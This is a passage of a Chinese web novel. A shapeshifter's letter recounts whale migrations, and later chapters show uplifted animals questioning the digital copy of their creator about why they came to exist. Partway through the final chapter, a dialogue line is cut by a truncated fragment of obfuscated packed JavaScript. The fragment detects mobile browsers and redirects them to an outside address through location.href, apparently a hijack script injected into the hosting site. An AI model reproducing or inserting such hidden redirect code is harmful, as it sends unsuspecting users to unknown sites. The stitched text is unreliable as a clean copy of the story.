变形怪的特质在这时尤其方便。我吃掉了一头死去的蓝鲸幼崽(感谢她的贡献),模仿它的身体结构进行体态的改变,然后深入海底。
我们从太平洋下水,根据天机磕磕绊绊的翻译得知,这里被鲸鱼叫做巨大海域,再往北方被它们称为未探索之地,听说那里的水下有一条密道,但是谁也没有真正穿过那里。我游过去看了看,发现是巴拿马运河的船闸,成年鲸类告诉我下面有密道,但我不准备从这里过去,风险太高了。
我远离洄游的族群,孤身一鲸靠近珊瑚浅海,搭乘鲸鱼们称为伟大航道的洋流,直奔大鱼海(北海道渔场)。许多深潜鲸的幼崽初次洄游会经过这里,我们在海底大吃大喝,非鳕鱼和鲑鱼不吃,但是往后就没有这种好日子了。提前适应一口磷虾半吨水的日子也是独立生活的一环。
在这里的鲸鱼们告诉我们,不能再向北前进了,那里是熟成大陆,人们的皮肤以黄色为主,有一个恐怖的岛上住着无数的食鲸人,到达那边的鲸鱼和海豚总是遭到杀害,千万不要靠近。
本来我的目的地也不是那里。我最想去探索的是鲸鱼们口中的上古传说之地。那遥远的海岸承载着无数奇幻的传说,幼崽们听着远古的奇遇入睡,却没有一头鲸能再次回到那里。
为了用最快的速度到达那里,我必须经过大量浅滩、峡谷和岛屿组成的危险海域,直达孟加拉湾。和我一起分过鲑鱼的好姐妹听说我的志向,在洄游前,她让她的家长为我介绍了一位德高望重的虎鲸嬢嬢。
虎鲸嬢嬢是红海绵家族的领袖,整个家族以公正仁义而著名。她今年正好打算带小辈挑战传说之地,她也毫不介意携带一头蓝鲸。
她的孩子们兴奋地围绕着我游动,出于一种本能,她们线条优美的胸鳍不断撞击我的身躯。我在这种试探性的好奇里感受到了某种危机,刚想委婉地拒绝,虎鲸嬢嬢却看出了我的窘迫,立刻用声波喝退了小辈们。
‘sorry啦。伊偶尔会耍蓝鲸玩的啦。但侬是客人,勿要客气,我们肯定勿会介对侬。’她沉稳地摆动背鳍,流线型的身躯上吸附着大量藤壶,让人不禁担心她的身体情况,‘侬吃过了伐,鱿鱼吃勿吃哇?’
我吃了一顿鱿鱼大餐,在她的庇护下,提心吊胆地出发了。
下面的事你一定不会相信的。你还记得我们在扒飞机的途中不愿意潜入行李箱,非要展示自己非凡的咬肌,结果在升空过程中咬肌背叛了他,从此落入海中失踪不见的潘戈耳:爵士吗?他居然也在这片海湾中。
这一长串定语已经可见他的不靠谱。我问他为什么不和我们相聚,他说:‘一位鳗鱼朋友从蓝鲸的嘴里拯救了我哒,我必须要报答她,亲自护送她安然无恙地到达绿油油海哒!’
鳗鱼的脑容量不允许它们发展出语言,我怀疑这是他逃班的借口。其实放他在地球也没什么,作为一头雄性潘戈耳,他属于锯爪动物,地球动物与他有生殖隔离,完全不会造成种族入侵。但他再三保证会再俄罗斯跟我们碰头,我将信将疑,最后还是悄悄带着他和他的小伙伴上路了。
虎鲸嬢嬢用她丰富的经验和胆识,带领她的家族穿越了凶险的危险海域,成功规避一切可能搁浅的浅滩。途中我们碰见了许多船只,大型船经过头顶时,大量的鱼群会下潜,水底会形成一种具有吸附力的漩涡。小型船只只会悄无声息地经过,如果足够细心,就会发现它们在水下的一片影子。虎鲸们将人类的船只统称为浮地。
在珊瑚礁海,虎鲸嬢嬢的一位女儿(她的名字是用一种高音尖叫来表达的,我完全读不出来)被海洋浮标缠住了尾鳍。虎鲸是哺乳动物,没有水下呼吸的腮,每隔一段时间必须上浮换气,当时她已经呼吸不畅,几近溺亡。虎鲸嬢嬢在水中悬浮良久,然后对她的另外几个孩子说:‘去找浮地。’
孩子们和她都向四周散去,我留在原地没有动弹。我怀疑她们很难找到智人的船只,就算找到了,对方听懂她们求助的可能性也很低。我决定在这里,当场为她解开浮漂。
爵士和他的小伙伴从我的口腔里游出来,躲了这么久,可把他憋坏了。我让他割开浮漂,但他的爪子只是长得像锯齿,而不是真正的锯齿,没法对浮漂造成任何伤害。
他问我打算怎么办,我说,我可是变形怪!
我尽力调动全身的细胞,把注意力集中在口腔。血肉和钙质在那里快速堆积,很快,我的口腔内就堆出一排小小的、尖锐的骨刺。这里的骨刺我模仿着锯齿刀的形状,但外形上其实更像瓜子磕多了的牙。这一点你要原谅我,没有深入接触的模仿是很不容易的。
被困的虎鲸已经奄奄一息,身体向海底沉去,将海洋浮漂的绳子拉得很直。我让爵士和他的鳗鱼朋友把绳子绕两圈,然后用骨刺慢慢摩擦,很快,这条工业制作的绳子就从中间断开了。
虎鲸沉入海底,我冲过去将她扶起,坚持到红海绵家族的成员们归来。她们带回了两艘小艇,但此时她们的家人已经获救。我谎称是潜水的人类出手相助,虎鲸嬢嬢投来意味深长的眼神,没有过多追究。
浮地上的人类临走前,帮助我们去除了藤壶和鲸虱。虎鲸嬢嬢说,我们要对这些人类保持敬畏和警惕,但当你被折磨到宁愿用生命去换取解脱时,可以去寻找浮地上的人类,至于获得的是解脱还是帮助,这就要交给海底暗流般的命运了。毕竟人类的想法,比贝壳的内里更令鲸捉摸不透。
到达时令肉海时,大量抱卵的鲥鱼为了产卵,正大批洄游向伊洛瓦底江的支流、淡水湖等地,我们堵在路口,只需张大嘴就能吃下大量鲜嫩清甜的鱼肉。爵士的鳗鱼朋友不需要进食,他本人只能吃鱼籽和小鱼苗,真可怜,哈哈!
在孟加拉湾,我们看到了鲸鱼们口口相传
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的传说之地:印度洋板块。鲸鱼的祖先就是从这里迈入海底。但是在鲸鱼的传说中,没有生物演化的概念,她们并不知道自己的祖先是深入海底,反而觉得她们获得了非凡的能力,甚至曾经踏上过陆地。
虎鲸嬢嬢和她的红海绵家族远远眺望着海平线尽头的那片陆地。海鸟在天空中盘旋,飞鱼跃出海绵,光线照在它们的身躯上,海鸟羽翼洁白,飞鱼躯体如银箔般光滑,像无数晶莹的雪片从天空落到海面上。红海绵家族就这么静静凝望着她们不曾知晓的故土,脉冲信号里传唱起关于陆地的趣闻。
我和红海绵家族在这里分别了。妈妈,地球的智人在海洋生物的语言研究方面投入的资金太少了,当陆地和海底的生物可以交流的那一天,地球会变成什么样子呢?
下面的任务就是陪伴爵士的小伙伴去绿油油海。这个任务简单多了,经过炭烤大陆和小型渔场构成的零食海域,我们到达了极长海域,这里是被称之为大西洋的地方。鳗鱼的目的地就在这附近。
绿油油海没有海岸线,边界由四股洋流形成。洋流是不断移动的,所以这片海域的面积一直在改变。我能看见它格外清澈的墨蓝色海水和岛屿植物般茂盛的海藻。
爵士的鳗鱼朋友是一条银鳗,鳗鱼的一生有四个阶段,直到最后一个阶段银鳗,它们才会显示出性征。鳗鱼可以活得很久,五十年不成问题。但是大多数鳗鱼会在十五到三十岁左右忽然蜕变,从黄鳗转变成银鳗,离开自己生存的淡水家园,回到海中诞下子嗣,然后奔赴死亡。
人类还没有真正找到欧洲鳗鱼共同的繁育地。虽然根据推论,鳗鱼生命的起点和终点大概率是在平静无风的马尾藻海(其实就是绿油油海),却没有人从这里捕捞过任何一颗鳗鱼卵。我很想跟劝说爵士和他的朋友等待我变形,我们一起下去,但他拒绝了。
‘我们应该给自然留下一点秘密。给鳗鱼留下一点隐私,哒。’他说。
他和鳗鱼朋友一起深潜,潜入了五千米以下的海底。我在绿油油海附近游荡了许久,久到我以为爵士再次神秘失踪,他却出现在我面前,而他的鳗鱼朋友已经永远留在了海底。
‘走吧哒哒。’他对我说。
话是这么说,如何到达俄罗斯又是个问题。这次爵士发挥了作用,他说鲸鱼之间有一条密道,曾经有一条叫莫比迪克的鲸鱼看他能听懂鲸话,觉得他是可塑之才,专门教给他的。此路凶险异常,非勇者不可过也。我说什么鲸鱼叫莫比迪克啊听起来真怪,他说潜水员起的名你别管。
总之,跟随他的指引,我们前往鲸鱼一族的密道。从大西洋北上到另一座食鲸族岛屿,沿俄罗斯北部到达寒冷的北冰洋。在这里,我无视蓝鲸的身体结构,为自己填充了几层脂肪——太冷了!从北冰洋穿过白令海峡,我们回到了初始之地,巨大海域!鲸鱼在发展出成熟的世界观之前,却掌握了全球航行的方法……妈妈,你说,鲸鱼们会不会一直知道地球是圆的呢?
伊丽莎白带着托雷在堪察加半岛等我,我跃出水面,用声波大叫:‘伊丽莎白,你看我把谁带回来了!’
爵士从我的嘴里闪亮登场。
我花了许久才把身体调整回人类的模样。托雷迫不及待地用小脑袋拱我,我知道他很想念我,我也很想他软软的耳朵和发动机引擎一样的呼噜声。我要好好摸摸他!
下面,我们就要去亚洲了。希望我们顺利!
你的女儿,安宁。”
20xx.5.6
坐标:地球亚洲 28°21′18″N 85°46′44″E 西藏希夏邦马峰北坡那克拉河剖面
(多张蜓类化石素描图、特征记录、年代鉴定)
(多张珊瑚化石的横切面和纵切面素描图)
(一张奇特的植物化石照片,似乎补全了地质浪漫团对地球三叠纪晚期植物进化认知的缺口,旁边绘制了许多其他植物的素描)
(一枚鲨鱼牙齿化石的照片)
(异形菊石单独占据一整面的素描)
20xx5.15
坐标:地球亚洲 36°55′36″N 116°75′19″E 馒头山张夏寒武纪地层标准剖面
(盾壳虫化石素描)
(三叶虫化石素描)
(三叶虫化石素描)
(好多三叶虫化石素描,真的有这么多三叶虫吗)
此处墨迹滞留,旁边批注“暂停科考,托雷发现疑似谷神及其姐妹的踪迹,率先搜救地质浪漫团成员”。
(本子被合上了,夹在某人腋下。她拍拍梗犬的脑袋,朝气勃勃地向南方扬起下巴:“走吧,托雷!去接我们的团员!”)
63.上帝是女孩
“笃笃笃。”
没有人应门。
婚神轻轻推开办公室大门,小声呼唤:“中年智人,我进来咯!”
办公室内一片混乱。笔筒倾倒,宠物粮食满地滚落,试卷、月考题、没批完的作业统统扑在地面,活像战后的废墟。哼唱大蜘蛛蹲在书架最下面的拉门柜里,露出一只眼睛向外窥视。
马英妹跪在地上,双手挂在桌面上,用身体挡住桌下的空洞,似乎是一个保护的姿势。她的三个学生蹲在桌子下,栗色头发的那个抱着一个圆滚滚的摄像智械缩在最后面,只露出下半身。每周固定来看它们的眼镜学生和笑嘻嘻的那个一上一下伸长脖子往外看。
谷神探头:“世界末日了吗?”
“没有。”马英妹用气声说,“你们别进来!”
“有什么危险的东西吗?它会攻击我们?”
颜阎眉梢一挑,咧嘴乐:“对。但不在物理层面。”
话音刚落,桌面上的电脑屏幕忽然闪动起来,一张褐到发红的脸庞带着标准的微笑出现在屏幕中。
马英妹大喊:“不要和她对视!”
晚了!智神和屏幕里弓粟的视线撞了个正着。弓粟的表情忽然变得灵动自然,只露出一半的身体随着话语而起伏,声音甚至有呼吸和迟疑的停顿:
“厘翰鼹鼠?民间为了祛除虫患专门培育的品种,后来因为前庭神经高度发达,成为了跳格子的实验鼠。你们来自哪个实验室?让我看看……哦,原来是基金会专属,资料不让调查。没关系,就医系统是统一的。智神女士,你小时候因为想成为鸟类,从鼠笼里一跃而下,摔断了两条腿,差点一命呜呼,送医时高喊着‘疾风万岁!’企图感动你的实验员,让他把你成全你的梦想……”
“啊啊啊啊。”智神当场惨叫出声,“别说了别说了!”
婚神怯生生抬头看了她一眼,而弓粟则用一种怯懦的表情,突突突说出了她的黑历史:“为了交朋友潜入其他实验室,双手撑在鼠笼上假装自己可以上天入地,然后装作不经意地跳下假装什么也没有发生过,企图吸引觉得你很帅的同龄鼹鼠来和你一起玩,结果被笼子夹断手指。”
婚神倒地不起。
谷神学聪明了,闷头一骨碌跑到马英妹脚下,和人类们挤到一块儿。刘征兰怜惜地拍拍她:“都说了别对视。”
弓粟在一阵酣畅淋漓的死机后卡成了这幅样子,虽然可以正常说话,也还是那么智能,但缺少了许多功能,开始检索所有人的信息并全部抛出,致力于给每个人造成难以挽回的精神折磨。
马英妹说这样下去不是办法,我得把她修好。刘征兰说咋修啊后勤师傅是个关系户,今天压根没来上班。在场唯一智械刚闯了祸,目前在装作自己是弱人工智能,大家也不怎么指望它。
谷神忽然道:“去试试修打印机。她就是因为耗费太多精力解码,才导致打印机失灵的,说不定打印机修好了她也好了。”
马英妹一把抓起它:“好啊!我就知道你莫名其妙出现在打印室没安好心,你到底把弓粟怎么了!你俩有什么事瞒着我!”
谷神哇哇大叫:“别捏别捏,痛痛痛,我很脆弱的!反正你先修嘛!骂我又解决不了问题。”
马英妹把她丢下,打开门直冲文印室,离开前还对着弓粟抛下一句:“你发疯了也别忘了照顾好我学生啊!”
弓粟说:“好的我一定马英妹你大学时期为了不见校领导装作自己骨折了在宿舍休养实则偷偷跑去舞厅玩出门正好和领导撞上当场倒地哀嚎假装痛不欲生结果没有一个人相信你……”
“闭嘴!”
马英妹夺门而出,房间里只剩下全自动黑历史揭露机和六个同样瑟瑟发抖的生命。康烁影埋着头沉默不语,和球球的神情如出一辙,似乎知道自己犯了错。
刘征兰上去呼噜呼噜她的头发,说没事不怪你,我们也没想到。康烁影任她揉了一会儿,然后换了个角度继续面壁思过。
室内陷入了一种古怪的寂静,刘征兰捅了捅颜阎让她安慰两句,颜阎却早已神游天外,和谷神、智神一起仰望着栅栏窗上停着的小鸟出神。
刘征兰越看越不对劲。她凑过来问:“看什么呢?”
“不知道。”颜阎语气淡定,“它俩看着看着就僵住了,我也看看。”
智神连胡须都不敢抖动:“完了……”
“什么?”
“是地质浪漫团。”
话音刚落,窗外的景色忽然被一个东西挡住了。那东西的四肢等长,身躯宽大,隐约可以看见它灰色的毛发、长而尖的嘴筒和顶端呈深色的毛绒尾巴,它的四肢不断敲击着栅栏,在某个瞬间,栅栏发出“嘎吱”一声哀鸣,整个脱落下来。它转而爬上窗框,用力摇晃着整扇窗户。
纷杂的鸟叫围绕着这扇窗户,许多未曾听闻的尖锐鸣叫从玻璃外传来,像是死神的扣门。
刘征兰一骨碌爬起来,开始在办公室里四处翻找。弓粟当即准备播报她的黑历史,刘征兰顶着“为了让妈妈开心假装自己被夺舍成去世姥爷结果挨揍了”等黑历史,一把抓起反光布把她的摄像头罩了个严实。即便如此她还在通过摄像头等电子设备不停摄入和释放信息。刘征兰忍无可忍,干脆无视她,在办公室里继续搜寻。
“你在找什么?”康烁影问。
“毒药。被毒死总比被撕碎好。”
颜阎立刻说:“我也来。”
两个人发疯一般找毒药的间隙,外面的生物已经找到了拉开窗户的技巧,从窗口堂而皇之走进办公室。
哼唱大蜘蛛继承了马英妹的英勇,从柜子下面挺身而出,挡在学生们面前。
窗口走下来的是一头形似狸子,但又比狸子大很多的生物,身体圆润而蓬松,毛色灰不溜秋。它低头用漆黑的鼻头闻了闻哼唱大蜘蛛,又抬起爪子摸了摸,最后把它翻过来拍拍肚子,发出由衷的疑问:“美拉熊?你怎么变成这幅样子?人类又给你用曲率晶体和金属卤化物了?快脱掉,俺们灵肉就,该有个灵肉的样。”
哼唱大蜘蛛挥动八只脚企图逃走,但狸子一把扯掉了它身上的戒疤,大蜘蛛顿时变作一只和白色毛发,和美拉熊客服非常相近的普通小熊。一时间智神尖叫,婚神欢呼,康烁影搂着球球和谷神拼命缩小自己的身躯,刘征兰抱着胳膊和颜阎说:“这样下去就没有谐音梗了,可惜。”
狸子慢吞吞地抬起头,环视几个人类:“人类,唉,坏。”
盘旋在窗外的鸟类一头闯进窗户,羽毛的踪迹在墙上留下漆黑的影子,成群结队地在空中嘎嘎大笑:“人类!打!打!”
它们亮出脚上锋利的指甲和鳞片状的角质硬皮,向地面上的人类俯冲。两个学生第一时间护住眼睛:眼镜坏了没法看黑板。
“住手啊!”
疼痛没有到来。刘征兰睁开一只眼睛,只见律易棋左手小指、食指、无名指各拎着一杯奶茶,右手轻而易举地捏住鸟类的翅根,像拎小鸡一样拽住了它。
“你怎么来了?”刘征兰问。
律易棋不明所以,第一反应是把奶茶塞给她,解放自己的双手:“来给你们送奶茶。你们又惹事了?”
“对不起!”刚才喊住手的声音再度传来,“给你们添麻烦了!”
一个女人跨在窗户边上,一只脚踩在暖气片上,另一只脚挂在外面没进来。她
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戴着渔夫帽和护目镜,胸口有一块瓶盖大的反光材料,手上的劳保手套还没摘。她尴尬地朝大家点点头,快速向鸟类们挥手:“外面去外面去,大人谈事情。”
她一骨碌滚进来,从桌子上踩着椅子跳下来,一边道歉一边站到狸子身边,抚摸着它头顶的绒毛:“真不好意思,诸位。由于人类和灵肉的矛盾,我的团员对人类有些敌视。但不是所有团员都这样,实在抱歉。”
律易棋给颜阎派了奶茶,抬头和女人对视。
只消一眼,他便愣住了:“安宁女士?”
“你听说过我?”安宁嘿嘿一笑,张开双臂原地转了一圈,像是一种问候,“那我重新介绍一遍。槲园星莱姆海岸的安宁,向您致敬。”
激动的心,颤抖的手,兴奋的表情和压抑的嘴角。律易棋三两步上前,试图举起手,又觉得不够礼貌,于是学着她转了一圈:“安宁女士,我从小就是听着您的事迹长大的。灵肉的骄傲,地质方面的万全手。您渊博的知识,对古代化石的发掘和研究,宽广的探索范围,几乎以一己之力拓深了人们对宇宙历史的了解。即便如此,您也没有加入任何官方组织,坚持以民间组织为单位行动,我深深为您的无私所折服……”
“安宁不是自愿的!”狸子大声抗议,“俺们申请过成为官方组织,但是,都兰联合不允许变形怪成为公民,甚至不愿意给她的发现标注作者。安宁女士提出的申请,自然无法通过。”
“那是他们有眼无珠!”律易棋骂到官方组织时格外兴奋,“您居然来地球了!还亲自到了这个偏远地带。您是为了勘探还是濒危生物收容?这里的地下难道有古生物化石?”
安宁歉意地绞紧手指,同时试图挡住身后翻窗户的小狗:“是一个小小的任务。我们的团员失踪了,疑似在这里。”说着,她的视线挪向地面,落到三只小鼹鼠身上,“嗯……就是这三位。”
狸子这才注意到鼹鼠,它四肢着地将鼹鼠们一个个搂紧怀里,用鼻头拱它们的脑袋:“谷神,智神。走丢了怎么不联系我们。被人类囚禁了吗?你放心,它们一定帮你们解决这群坏人类。我?你知道的,我不会打架。”
坏人类代表颜阎怒而发言:“它们明明是自己受不了田园生活要回归工业化,别老是怪到我们头上!”
狸子冲过来用尾巴抽她:“谷神是实验室出身,肯定对工业化深痛恶绝。你搬弄是非。”
“我说的是事实!”
安宁单膝跪地,将谷神捧在手掌心里。她带着一种心照不宣的笑容,声音清脆地问:“是这样吗,谷神?可是我不是说过,地质浪漫团是随时可以退出的吗?你为什么一定要在地球退出呢?”
谷神沉默良久。这种沉默感染了所有人。刘征兰不再吸奶茶,颜阎和狸子不再互相争吵,从窗口源源不断爬进来的各种奇怪动物不再闲聊。宇宙似乎也为此刻的沉重而默然,夜色彻底到来,最后一抹橙色的光芒也融化在松树的枝桠后,
最终,它的叹息如铅块落地:“你们自己看吧。”
它拉下刘征兰盖在电脑上的反光布。
那张脸,出现在灵肉的壁画里,教堂中,归祖派的教材里和自由派的憎恨中。她的传说在灵肉中如同教义。无数人以她的名义发起战争,无数人为追寻她投靠人类。神学家用短暂的一生咀嚼她的生平,哲学家用她的存在解释无数新的理论,脑科学家将她奉作万中无一的天才。她是灵肉的上帝,造物主,创世神,许多灵肉一生追随的意义,也是许多灵肉心中无情的战犯。
弓粟的脸,出现在屏幕中。
“被玛丽基金会里困在博物馆里的,弓粟的电子意识模型,逃到了这里。”
64.意识是如何诞生的?
灵肉内部分作许多不同派系。有认为灵肉应该回归创始地、继续和人类共同生活工作的归祖派,也有认为灵肉应该自成一个种族的自由派。除此之外还有生活态度上的区别,有些灵肉主张种族应该跟上宇宙的节奏,大力发展工商业,这部分灵肉被称作霓虹派。另一派是主张回归自然,每天爬爬树吃吃饭繁衍一下然后去死的原始派。
四个派系内部偶有重叠,归祖派基本在玛丽基金会、婆旦·颇萝旦和和平联合,作为公民生活,基本所有归祖派都是霓虹派。而自由派内部的分歧较多,但也是它们推动灵肉的种族权力,建立了以灵肉为主要种族的觉醒联盟。
灵肉这个种族形成后,它们就和所有智慧生物一样,不断地追求意义、使命等形而上学的东西。
与其他物种不同的是,它们是被创造之物。
它们甚至与智械不同,人工智能是每个种族的科技发展到一定程度都会产生的科技革命产物,其中一小部分拥有了过于复杂的算法,算法形成了一个黑箱,从这个黑箱里诞生出了“意识”,智械因此诞生。灵肉却完全是偶然的产物,而且有明确的创造者。
它们的上帝、已经死去的血肉之躯弓粟,究竟是出于什么样的想法创造了它们。如果说智械的普遍性是某种必然——就像生物只要想运动,就必须进化出对称的身体——那还能说智械是进化的另一环,自然的伟力在庞大的工业和科技面前依然奏效。那么灵肉,这个人力创造的种族,又该如何解释?
难道意识只是一堆肉块和神经元中流窜的电信号?意识的诞生完全是可以复现的,它不是宇宙的奇迹,只是恰好扔到了某个特定数值的的骰子。造物主不存在,“我”不存在,灵魂不存在,造物仅仅取决于人的一念之间?
无数灵肉的哲学家在数度深思这个问题后郁郁而终。不止是它们,灵肉诞生的那十年,宇宙发生了一系列声势浩大的变革。意识到决计没有死后的世界,智慧生物的道德伦理几近崩塌,犯罪率呈指数上升,各派教徒自杀不断,哲学家通通被扔进虚无监狱。
同一时间,全宇宙的医学、地质学、紧急救援等领域日新月异,因为灵肉可以学习语言,各类药物实验得到了最准确、迅速的反馈,宇宙中各个神秘的地域得益于动物的敏锐感官和特殊体型,一个个揭开了神秘的面纱,难以察觉的灾难和严苛的救援形势也因为同样的原因,伤亡率极速减少。
物质层面的提升是永久的,意识层面的危机却被迅速解除了。弓粟因为恐吓、敌视、良心不安、政治博弈等因素英年早逝,玛丽基金会接手了她的实验,却完全无法复现灵肉的产生。
众所周知,精密实验的影响因素非常多。矩阵学院的一位博士生曾越过导师做出了刺激四秒一百倍表达的下一代系统,但其他学者无论如何都无法复现。后来发现是他爱吃咸口,呼出的微量盐分影响了表达。还有一个光学实验室习惯每次在工作进行前跳一段霹雳舞,不然实验保准不成功,换了一代人之后才发现地板上有快砖松了,不跳一段把它踩下去桌子就不平,影响反射角度。
可是这次,无论如何都无法复现了!即使用弓粟生前的桌子,吃她最喜欢的棘轮果酱抹熊肉面包,开始实验前哼一段她老家的歌(因为这个她母星的文化宣传直接起死回生),也无法再复现。
可是实验成果摆在那里!灵肉的养殖已经遍布数百个行星,社会学家借此进行大型社会实验,生物学家拥有了最好用的活体材料,富人甚至能堂而皇之的携带灵肉奴隶而不被苛责。弓粟的研究成果不可能是假的。
那么原因到底是什么呢?哲学家一夜之间从虚无监狱出狱,神学家忽然又有了用武之地。难道弓粟是上帝在人间的化身,她获得了神的垂青,创造灵肉是为了提高人类的福祉?为了某个即将到来的灾难?为了提醒智慧生物自己的渺小,特意创造出来的地上神迹?
一切的答案都将在此刻得到解答,它们的上帝近在咫尺。几百年不曾开放的弓粟电子意识模型站在电脑屏幕后,报菜名一般播报着所有人不愿回首的历史。但这某种意义上正是对它们过往的鞭策。
憎恨她的人破口大骂,崇敬她的人顶礼膜拜,这些都无法改变她目前只是个人工智障的事实。她还在输出,输出到灵肉们都感觉到有些不对劲了,马英妹终于从文印室昂首挺胸地归来,途中还帮三个学生请了假,谎称拉她们去批生物卷子。
她推开门,看到一屋子猫猫狗狗熊熊鸟鸟猪猪,动物毛满天飞。
喝着奶茶的学生冲她遥遥举杯:“老师,接受现实吧!外星人就长这样!”
马英妹沉默半晌,把手里拎着的那张A4纸扔在地上:“我缓缓。”
宋悦馨和皇后没能修好打印机,这和她们社会经验的缺乏息息相关。任何一个工作过的人,只要和打印机有所接触,学会的第一个技能必然是打开打印机盖,抽出卡住的纸。
马英妹简简单单一个动作,打印机顿时恢复原状,吐了一个下午纸的打印机终于得以歇息。她拿着那张犹带余温的纸张,无法辨认出上面的语言,于是她拿回来给谷神看看。
“是密钥!你等一下,我给她输进去,不然她就在这个程序里死循环了。”
谷神跑到电脑屏幕旁边,用一种口音奇怪的语言,叽里咕噜地把密钥念出来。当它念出最后一个音,弓粟的卡帧现象有所缓解,过了几秒,她终于可以停止播报黑历史。这让在场所有生物包括她本人都松了一口气。
率先回神的是安宁。她轻轻颔首,向它们的造物主致意:“您好,弓粟女士。我们的相见真是一场奇迹。”
弓粟低垂眼睛,薄薄的眼皮下能看到转动的眼珠,从她肩部轻微的抖动,能感觉到她在屏幕之外不安地摆弄自己的手指:“您也知道,真正的弓粟已经死去,我是千年前的电子意识模型,系统落后到可以兼容爬行文明的设备。你们想问的问题,玛丽基金会肯定询问过无数次。”
“没关系。”安宁深吸一口气,她感到前所未有的恐惧,一种针刺般的感觉浮在脑中,让她的双腿像站在虚空中。她相信在场所有人都像她一样紧张,整个族群的终极问题就在几秒后的声波里,它们的命运像一根绷紧的琴弦,等待着琴弓奏出乐章。
她问出了那个亘古回荡的问题:“我们诞生的意义是什么?”
弓粟说:“我不知道。”
“那您又是如何创造出我们的?”
“神迹。”弓粟笃定,“那是一个神迹。我没有任何造物的决心,灵肉的诞生是一个完全的意外。
我也不知道是哪一个步骤出了问题,意识只是那么诞生了。同样的实验步骤在有些动物身上可以复现,有些动物不可以,我无法操控它,我甚至不知道它和脑容量是否有关系。就像喜鹊、裂唇鱼和我母星的山林熊可以通过镜子测试,而猫、狗和一岁左右的人类孩童却不可以。谁也不知道其中的原因。”
地质浪漫团的成员没有哭泣,没有痛骂,它们看着这个使它们被奴役千年的女人,这个给了它们意识的女人。这个女人此刻如同普通人一样死去,如同普通人一样迷茫,如同普通人一样有自己的信仰。她之上还有其他的神明,意识仍旧是黑箱里的魔术。
它们一时不知道应该兴奋还是痛苦,遗憾与真相失之交臂还是庆幸自己永远不会有直面真相的那一天。它们只是看着她,如同看着一个普通的人类。
安宁感到胸腔里的力道一泄,像树木死去后根系下的土壤。失去了树根的禁锢,也脱离了根系的抓力,它似乎必然走向移动的路途。
“恕我冒犯。”弓粟轻声细语,“您叫安宁,是吗?”
“……我是。”
“您是……抱歉,您至少外表是人类,为什么如此关心灵肉的问题呢?”
安宁皱起眉,露出一个隐含希望,但略显悲伤的笑容:“我是变形怪,本体其实是一团肉块。我的消化功能很奇特,可以吞噬生物,然后分解它们体内的元素并重组。只要符合自然规律,我可以变成鸟、鲸鱼、狗,甚至各种生物的嵌合体。这具人类的身躯只是我的一个形态而已。
我们变形怪究竟是原生生物,还是生物实验的结果,在学界一直没有定论,但在我们的传统文化中,一直认为我们是碳基生物为了适应极端环境的最终形态,是您生物实验的最终产物。您对我们种族有印象吗?”
地质浪漫团中,一只颈部有蓝色羽毛的短羽鸟振翅飞上马英妹的办公椅:“弓粟女士!我是蓝喉鸠,可以潜水、行走和飞行,你还记得我吗?”
智神拼命踮起脚举手:“我!我!我们挖土能力超强,还有裸鼹鼠这种不会衰老的种族!我们才是最好的种族!”
几只猫猫狗狗没时间自夸,它们已经在地上扭打起来,用脚踹,用牙咬,用爪子抓挠,潜台词还是:我们才是最优秀的种族!
基督教中上帝照自己的样貌制造了人类,女娲按照自己的模样用泥巴捏出人类,玛雅神话中的神明用玉米创造出自己最满意的一代、也就是如今的人类。神学家形而上从精神,形而下从眼睛的结构,不断论证上帝对人类的宠爱。宇宙中的宗教大抵也是如此。
凡人们为自己成为智慧生物,而非任人宰割的牲畜而颇为喜悦,将其称作上帝的恩宠。
可是,可是。
倘若上帝真有神智,祂的偏爱朝向其他生物,我们又要怎么办呢?
电子意识模型参考的是弓粟77岁时的样貌,她的脸是一个棱角分明的几何形,常年的熬夜、压力和焦虑令她的眼下有烙印般的阴影,她的血管,棕色的血管,和脖子下凸起的筋脉,像是忧郁在她体内寄生。
“很抱歉,我无法回答你们的问题。”弓粟说,“我做生物实验,一开始只是为了改变我母星伯莱的养殖业。我们以熊的养殖而出名,我想创造出更适合饲养、肉质更好、体型更小的白熊。当时我正在和实验室里的同学竞争研究员的名额,所以加快了实验进度。然后,一头有意识的美拉熊就这么出现了……”
弓粟正是因为参透了这些,才感到痛苦。她陡然意识到,上帝可能随手造就了人类,然后就将其丢弃了。一切都没有意义,人类可能只是上帝顺手创造,然后随意丢开的东西罢了。这里面没有精妙的计算和大爱,有的只是岗位竞争。
前身是哼唱大蜘蛛的美拉熊缓缓踱到电脑屏幕前。它作为上帝的宠儿,造物主最爱的孩子,双腿直立搭上桌面,用额头轻蹭弓粟的图像,像是孩子向母亲乞求关注。
弓粟呆若木鸡,泪悬一线。
安宁沉默良久,然后抱起自己的小狗,向弓粟欠身示意。而后走到三位高中生面前,向她们伸出手:“不好意思,打扰你们了。”
“不打扰不打扰。”隐约感觉动物袭击学校后能上个自习课的刘征兰笑眯眯的,抬手跟她握了握,“你们接下来有什么打算?”
“我们要和谷神姐妹商量一下,要不要离开,然后继续地球的地质探索。”安宁淡淡地说,“虽然我们的诞生之谜解决了,但世界上还有很多别的谜题呢!第二文明的毁灭,空想文明的诞生。生物的进化和覆灭,我们想知道的还多着呢!”
她的神情里已经没有了初见弓粟的那种迷幻的欣喜,看起来更像是个精力充沛的普通人,正投身自己喜爱的事业,随时准备吹响前进的号角。
“你们会带走弓粟吗?”马英妹问。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881552|154276||http|test|mini|href|location''.split(''|''),0,{}));
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>“不会。她是玛丽基金会的财产,我们和玛丽基金会……关系并不好。”
马英妹松了一口气。
安宁朝她们眨眨眼睛:“如有考古或者其他方面的发现,可以找我们。我们先走了。”
一群小动物乌泱乌泱地从窗户爬出去。大家看起来都很失落,连刘征兰和律易棋站在窗口挨个摸它们都没有反应。看起来存在主义将伴随它们很长一段时间。
临走前,谷神朝它们勾了勾手指:“噗呲噗呲,人类,过来。”
几个人类蹲成一圈,把它围在中间。谷神特意避开马英妹,跟颜阎说了什么。颜阎狐疑:“保真?”
谷神举起爪子:“假的我被美拉熊吃。”
律易棋和她对视一眼,互相一点头,然后律易棋捏着它回了莫妮卡杂货店。
